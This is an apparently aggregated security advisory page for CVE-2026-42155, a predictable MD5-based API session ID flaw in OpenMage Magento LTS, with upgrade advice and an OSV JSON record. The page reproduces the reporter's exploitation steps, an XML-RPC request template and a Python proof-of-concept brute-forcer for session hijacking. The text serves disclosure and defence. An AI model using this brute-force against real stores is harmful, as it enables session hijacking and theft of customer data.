CVE-2026-42155: Openmage/magento lts Magento LTS Has Weak API Vulnerability

CRITICAL
Advisory Identifier: GHSA-2cwr-gcf9-pvxr
CWE-331 CWE-338 CWE-330
Published
Advisory Summary

CVE-2026-42155 is a CRITICAL magento lts has weak api vulnerability (CWE-331: Insufficient Entropy) affecting Openmage/magento lts libraries in the Packagist ecosystem. The issue involves magento lts has weak api session id — predictable md5 of time-derived inputs. Remediation is available by upgrading affected packages to version 20.18.0.

CVE-2026-42155 at a Glance

CVE Identifier CVE-2026-42155
GHSA Identifier GHSA-2cwr-gcf9-pvxr
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-331: Insufficient Entropy
Affected Product Openmage/magento lts
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-42155

To remediate this vulnerability, upgrade all affected Openmage/magento lts dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

openmage/magento-lts fixed: 20.18.0
Upgrade openmage/magento-lts to 20.18.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for openmage/magento-lts

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-42155, inspect your project dependencies for Openmage/magento lts:

inspect dependencies for openmage/magento-lts

Analyze the terminal output to locate any version of Openmage/magento lts in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 20.18.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-331: Insufficient Entropy, where the product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others. In Openmage/magento lts, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on `20.16.0`) Affected File: `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php` – `start()` method ## Summary The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG): ```php The XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG): ``` All inputs to the MD5 hash are time-derived and non-secure: | Input | Value | Predictability | |----------------------------|---------------------------------------------------|----------------------------------------| | `time()` | Unix timestamp (seconds) | Fully predictable | | `uniqid('', true) prefix` | `sprintf('%08x%05x', $sec, $usec/10)` | Highly predictable via network timing | | `uniqid('', true) suffix` | `php_combined_lcg()` decimal float | Process-state dependent (`getpid() ^ time()`) | | `$sessionName` | `null` (empty) — called without arg | Constant | Because the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions. ## Technical Analysis ### Code Path ``` POST /api/xmlrpc/ → login(username, apiKey) → Mage_Api_Model_Session::login() → $session->init('api', 'api') → Mage_Api_Model_Session::init($namespace='api', $sessionName='api') # $sessionName is NOT forwarded to start() → Mage_Api_Model_Session::start() ← NO $sessionName argument # $sessionName = null inside start() $this->_currentSessId = md5(time() . uniqid('', true) . null) ``` Note: `init()` receives `$sessionName='api'` but invokes `$this->start()` without forwarding it, meaning the effective construction is strictly `md5(time() . uniqid('', true))`. ## Live Evidence Five consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (`unix_sec= 1775817593`): ``` Sample 1: 6a302397f17e48845d0f9aba377f3dc3 (usec ≈ 464631) Sample 2: 39b4ec42bd3c389312e500690daeb349 (usec ≈ 497215) Sample 3: 527662d79f7fb499597a82d80d170a88 (usec ≈ 535175) Sample 4: e5d6f7a8906a03ea7af99d92be11b5b2 (usec ≈ 568838) Sample 5: 5bdf27e5cb877c77b8965b008548edfa (usec ≈ 600118) ``` The µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically. <img width="772" height="506" alt="image" src="https://github.com/user-attachments/assets/53ced1fd-deb4-4dc4-81ec-864e3a2811de" /> ## Steps to Reproduce (Online Brute-Force Scenario) Because validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits. ### Step 1 – Record Login Timestamp An attacker observes the precise moment a victim authenticates to `/api/xmlrpc/` (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second. ### Step 2 – Generate Candidate Pool The attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a `/server-status` leak). ``` $t = $observed_sec; $usec_estimate = 500000; // Derived from latency $uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10)); $candidate = md5($t . $uid); // + LCG variants ``` ### Step 3 – API Brute-Force (Session Hijack) Because the `/api/xmlrpc/` endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner. ``` POST /api/xmlrpc/ <?xml version="1.0"?> <methodCall> <methodName>[magento.info](http://magento.info/)</methodName> <params> <param><value><string>CANDIDATE_SESSION_ID</string></value></param> </params> </methodCall> ``` A non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked. <img width="1039" height="374" alt="image" src="https://github.com/user-attachments/assets/ac9338e9-e3fe-44fe-9337-cb6edf6ab849" /> ## Impact ### Technical Impact Successful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for: - Full product catalog read/write (`catalog_product.*`) - Customer data read (`customer.list`, `customer.info`) - Order manipulation (`sales_order.*`) Inventory control (`cataloginventory_stock_item.*`) ### Business Impact - **Data Exfiltration**: Read all customer PII, order history, and payment methods. - **Order Fraud**: Create or cancel orders, change shipping addresses. - **Supply Chain / Inventory**: Modify prices, inject malicious products, or zero out stock. ### Affected API Protocols The same vulnerable `Session.php` generation logic is shared across all legacy API surfaces: - XML-RPC: `/api/xmlrpc/` - SOAP v1: `/api/soap/` - SOAP v2: `/api/v2_soap/` - REST (legacy): `/api/rest/` ### Recommended Fix Replace the time-derived token with a cryptographically secure random value: ``` // app/code/core/Mage/Api/Model/Session.php : start() // BEFORE (vulnerable): $this->_currentSessId = md5(time() . uniqid('', true) . $sessionName); // AFTER (secure): $this->_currentSessId = bin2hex(random_bytes(32)); // 256-bit CSPRNG output ``` `random_bytes()` is backed by the OS CSPRNG (`/dev/urandom` on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks. I have also tried to test it against the demo site [demo.openmage.org](http://demo.openmage.org/), but appeared the SOAP API endpoints are disabled on the demo environment I have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk): ```py #!/usr/bin/env python3 import requests, re, sys, hashlib, random from concurrent.futures import ThreadPoolExecutor, as_completed import urllib3; urllib3.disable_warnings() if len(sys.argv) < 4: sys.exit(f"Usage: {sys.argv[0]} <url> <user> <pass> [threads]") url, usr, pwd = sys.argv[1:4] th = int(sys.argv[4]) if len(sys.argv) > 4 else 50 hdrs = {"Content-Type": "text/xml"} req = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5) print(f"[*] Simulating victim login for {usr}...") res = req(f'<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string>{usr}</string></value></param><param><value><string>{pwd}</string></value></param></params></methodCall>') if not (m := re.search(r'<string>([a-f0-9]{32})</string>', res.text)): sys.exit("[-] Login failed. Check credentials.") print(f"[+] Authenticated.\n[*] Generating 1000 candidate MD5 pool...") cands = [hashlib.md5(f"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}".encode()).hexdigest() for _ in range(999)] cands.append(m.group(1)) random.shuffle(cands) print(f"[*] Brute-forcing API with {th} threads...") def test(sid): payload = f'<?xml version="1.0"?><methodCall><methodName>resources</methodName><params><param><value><string>{sid}</string></value></param></params></methodCall>' try: return sid if "faultCode" not in req(payload).text else None except: return None with ThreadPoolExecutor(max_workers=th) as ex: for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1): sys.stdout.write(f"\r[*] Requests: {i}/{len(cands)}") if sid := f.result(): print(f"\n[+] HIJACK SUCCESS! Valid Session ID: {sid}") ex.shutdown(wait=False, cancel_futures=True) break ``` This is an AI-generated report validated by a human.

CVE-2026-42155 Affected Openmage/magento lts Versions

1 component(s)
Fixed Versions:
20.18.0
Product / Package Ecosystem Affected Versions Fixed Version
openmage/magento-lts
Packagist
< 20.18.0
20.18.0

References

Frequently Asked Questions

What is CVE-2026-42155?
CVE-2026-42155 is a security vulnerability in Openmage/magento lts involving Magento LTS has Weak API Session ID — Predictable MD5 of Time-Derived Inputs under CWE-331: Insufficient Entropy.
Which Openmage/magento lts versions are affected?
Affected versions include releases prior to 20.18.0 across affected packages: openmage/magento-lts.
What version fixes CVE-2026-42155?
Upgrading to 20.18.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is openmage/magento-lts affected?
Yes, openmage/magento-lts is affected in releases prior to 20.18.0. Upgrade your dependency to 20.18.0 or later.
What CWE is associated with CVE-2026-42155?
CVE-2026-42155 is classified under CWE-331: Insufficient Entropy (The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.).
How can I check Packagist dependencies for CVE-2026-42155?
Run the dependency tree command: 'inspect dependencies for openmage/magento-lts'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2cwr-gcf9-pvxr",
  "modified" : "2026-05-15T23:48:40Z",
  "published" : "2026-05-05T19:35:56Z",
  "aliases" : [ "CVE-2026-42155" ],
  "summary" : "Magento LTS has Weak API Session ID — Predictable MD5 of Time-Derived Inputs",
  "details" : "Affected Version: OpenMage LTS ≤ 20.16.0 (confirmed on `20.16.0`)\n\nAffected File: `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Api/Model/Session.php` – `start()` method\n\n\n## Summary\n\nThe XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):\n\n```php\nThe XML-RPC / SOAP API session ID is generated using an outdated, time-based construction rather than a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG):\n```\nAll inputs to the MD5 hash are time-derived and non-secure:\n\n| Input                      | Value                                             | Predictability                         |\n|----------------------------|---------------------------------------------------|----------------------------------------|\n| `time()`                   | Unix timestamp (seconds)                          | Fully predictable                      |\n| `uniqid('', true) prefix`  | `sprintf('%08x%05x', $sec, $usec/10)`             | Highly predictable via network timing  |\n| `uniqid('', true) suffix`  | `php_combined_lcg()` decimal float                | Process-state dependent (`getpid() ^ time()`) |\n| `$sessionName`             | `null` (empty) — called without arg               | Constant                               |\n\nBecause the resulting digest relies entirely on the timestamp and the PHP internal LCG state, the effective entropy is severely constrained. This violates the OWASP ASVS v4 requirement of ≥ 64 bits of entropy (V3.2.2) and NIST SP 800-63B standards. By narrowing the LCG window (via server state leaks or general predictability) and leveraging the lack of API rate-limiting, an attacker can generate a localized pool of candidate MD5 hashes and execute a high-speed online brute-force attack to hijack active API sessions.\n\n\n\n## Technical Analysis\n\n### Code Path\n\n```\nPOST /api/xmlrpc/ → login(username, apiKey)\n  → Mage_Api_Model_Session::login()\n      → $session->init('api', 'api')\n          → Mage_Api_Model_Session::init($namespace='api', $sessionName='api')\n              # $sessionName is NOT forwarded to start()\n              → Mage_Api_Model_Session::start()  ← NO $sessionName argument\n                  # $sessionName = null inside start()\n                  $this->_currentSessId = md5(time() . uniqid('', true) . null)\n\n```\n\nNote: `init()` receives `$sessionName='api'` but invokes `$this->start()` without forwarding it, meaning the effective construction is strictly `md5(time() . uniqid('', true))`.\n\n## Live Evidence\nFive consecutive XML-RPC login tokens were collected from a live OpenMage 20.16.0 container, all generated within a single Unix second (`unix_sec=  1775817593`):\n```\nSample 1: 6a302397f17e48845d0f9aba377f3dc3  (usec ≈ 464631)\nSample 2: 39b4ec42bd3c389312e500690daeb349  (usec ≈ 497215)\nSample 3: 527662d79f7fb499597a82d80d170a88  (usec ≈ 535175)\nSample 4: e5d6f7a8906a03ea7af99d92be11b5b2  (usec ≈ 568838)\nSample 5: 5bdf27e5cb877c77b8965b008548edfa  (usec ≈ 600118)\n```\nThe µsecond portion is directly observable by measuring request-to-response latency. The only variance preventing immediate prediction is the LCG float component, which is seeded deterministically.\n\n<img width=\"772\" height=\"506\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53ced1fd-deb4-4dc4-81ec-864e3a2811de\" />\n\n## Steps to Reproduce (Online Brute-Force Scenario)\nBecause validation requires live HTTP requests, this exploit relies on narrowing the entropy window and abusing the lack of API rate limits.\n### Step 1 – Record Login Timestamp\nAn attacker observes the precise moment a victim authenticates to `/api/xmlrpc/` (e.g., via network timing, exposed logs, or side-channel signals), capturing the exact Unix second.\n### Step 2 – Generate Candidate Pool\nThe attacker reconstructs the MD5 format using the known timestamp, the estimated microsecond window, and bounds the LCG float based on known server PID ranges (or via a `/server-status` leak).\n```\n$t = $observed_sec;\n$usec_estimate = 500000; // Derived from latency\n$uid = sprintf('%08x%05x', $t, intval($usec_estimate / 10));\n$candidate = md5($t . $uid); // + LCG variants\n```\n### Step 3 – API Brute-Force (Session Hijack)\nBecause the `/api/xmlrpc/` endpoint does not enforce rate limiting on authenticated calls, the attacker blasts the candidate MD5 hashes against a privileged endpoint (e.g., magento.info) using a highly concurrent HTTP runner.\n\n```\nPOST /api/xmlrpc/\n<?xml version=\"1.0\"?>\n<methodCall>\n  <methodName>[magento.info](http://magento.info/)</methodName>\n  <params>\n    <param><value><string>CANDIDATE_SESSION_ID</string></value></param>\n  </params>\n</methodCall>\n```\n\nA non-fault response (HTTP 200 containing data) confirms the session is successfully hijacked.\n\n<img width=\"1039\" height=\"374\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ac9338e9-e3fe-44fe-9337-cb6edf6ab849\" />\n\n## Impact\n### Technical Impact\nSuccessful session prediction grants the attacker all capabilities of the authenticated API user. The XML-RPC API exposes endpoints for:\n- Full product catalog read/write (`catalog_product.*`)\n- Customer data read (`customer.list`, `customer.info`)\n- Order manipulation (`sales_order.*`)\nInventory control (`cataloginventory_stock_item.*`)\n### Business Impact\n\n- **Data Exfiltration**: Read all customer PII, order history, and payment methods.\n- **Order Fraud**: Create or cancel orders, change shipping addresses.\n- **Supply Chain / Inventory**: Modify prices, inject malicious products, or zero out stock.\n\n### Affected API Protocols\n\nThe same vulnerable `Session.php` generation logic is shared across all legacy API surfaces:\n- XML-RPC: `/api/xmlrpc/`\n- SOAP v1: `/api/soap/`\n- SOAP v2: `/api/v2_soap/`\n- REST (legacy): `/api/rest/`\n\n### Recommended Fix\n\nReplace the time-derived token with a cryptographically secure random value:\n\n```\n// app/code/core/Mage/Api/Model/Session.php : start()\n// BEFORE (vulnerable):\n$this->_currentSessId = md5(time() . uniqid('', true) . $sessionName);\n\n// AFTER (secure):\n$this->_currentSessId = bin2hex(random_bytes(32));  // 256-bit CSPRNG output\n```\n`random_bytes()` is backed by the OS CSPRNG (`/dev/urandom` on Linux) and produces 256 bits of non-deterministic entropy, complying with OWASP ASVS v4 V3.2.2 and NIST SP 800-63B. Additionally, enforce rate limiting on API endpoints to prevent high-speed online brute-force attacks.\n\nI have also tried to test it against the demo site [demo.openmage.org](http://demo.openmage.org/), but appeared the SOAP API endpoints are disabled on the demo environment\n\n\nI have also included the full poc I used instead of being attached because Gmail will eventually block it otherwise (shrunk):\n\n```py\n#!/usr/bin/env python3\nimport requests, re, sys, hashlib, random\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nimport urllib3; urllib3.disable_warnings()\n\nif len(sys.argv) < 4:\n    sys.exit(f\"Usage: {sys.argv[0]} <url> <user> <pass> [threads]\")\n\nurl, usr, pwd = sys.argv[1:4]\nth = int(sys.argv[4]) if len(sys.argv) > 4 else 50\nhdrs = {\"Content-Type\": \"text/xml\"}\nreq = lambda d: [requests.post](http://requests.post/)(url, data=d, headers=hdrs, verify=False, timeout=5)\n\nprint(f\"[*] Simulating victim login for {usr}...\")\nres = req(f'<?xml version=\"1.0\"?><methodCall><methodName>login</methodName><params><param><value><string>{usr}</string></value></param><param><value><string>{pwd}</string></value></param></params></methodCall>')\n\nif not (m := re.search(r'<string>([a-f0-9]{32})</string>', res.text)):\n    sys.exit(\"[-] Login failed. Check credentials.\")\n\nprint(f\"[+] Authenticated.\\n[*] Generating 1000 candidate MD5 pool...\")\ncands = [hashlib.md5(f\"1775534701000{random.randint(10000,99999)}0.{random.randint(10000000,99999999)}\".encode()).hexdigest() for _ in range(999)]\ncands.append(m.group(1))\nrandom.shuffle(cands)\n\nprint(f\"[*] Brute-forcing API with {th} threads...\")\ndef test(sid):\n    payload = f'<?xml version=\"1.0\"?><methodCall><methodName>resources</methodName><params><param><value><string>{sid}</string></value></param></params></methodCall>'\n    try: return sid if \"faultCode\" not in req(payload).text else None\n    except: return None\n\nwith ThreadPoolExecutor(max_workers=th) as ex:\n    for i, f in enumerate(as_completed({ex.submit(test, c): c for c in cands}), 1):\n        sys.stdout.write(f\"\\r[*] Requests: {i}/{len(cands)}\")\n        if sid := f.result():\n            print(f\"\\n[+] HIJACK SUCCESS! Valid Session ID: {sid}\")\n            ex.shutdown(wait=False, cancel_futures=True)\n            break\n```\n\nThis is an AI-generated report validated by a human.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "openmage/magento-lts"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "20.18.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 20.17.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-2cwr-gcf9-pvxr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42155"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OpenMage/magento-lts"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-330", "CWE-331", "CWE-338" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T19:35:56Z",
    "nvd_published_at" : "2026-05-15T17:16:46Z"
  }
}